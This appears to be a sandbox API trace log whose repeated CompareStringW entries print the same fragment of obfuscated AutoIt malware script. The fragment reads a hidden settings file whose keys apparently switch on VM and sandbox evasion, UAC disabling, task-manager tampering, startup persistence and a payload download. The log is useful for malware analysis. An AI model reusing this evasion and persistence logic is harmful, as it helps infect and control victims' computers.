Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Th", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") The", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", 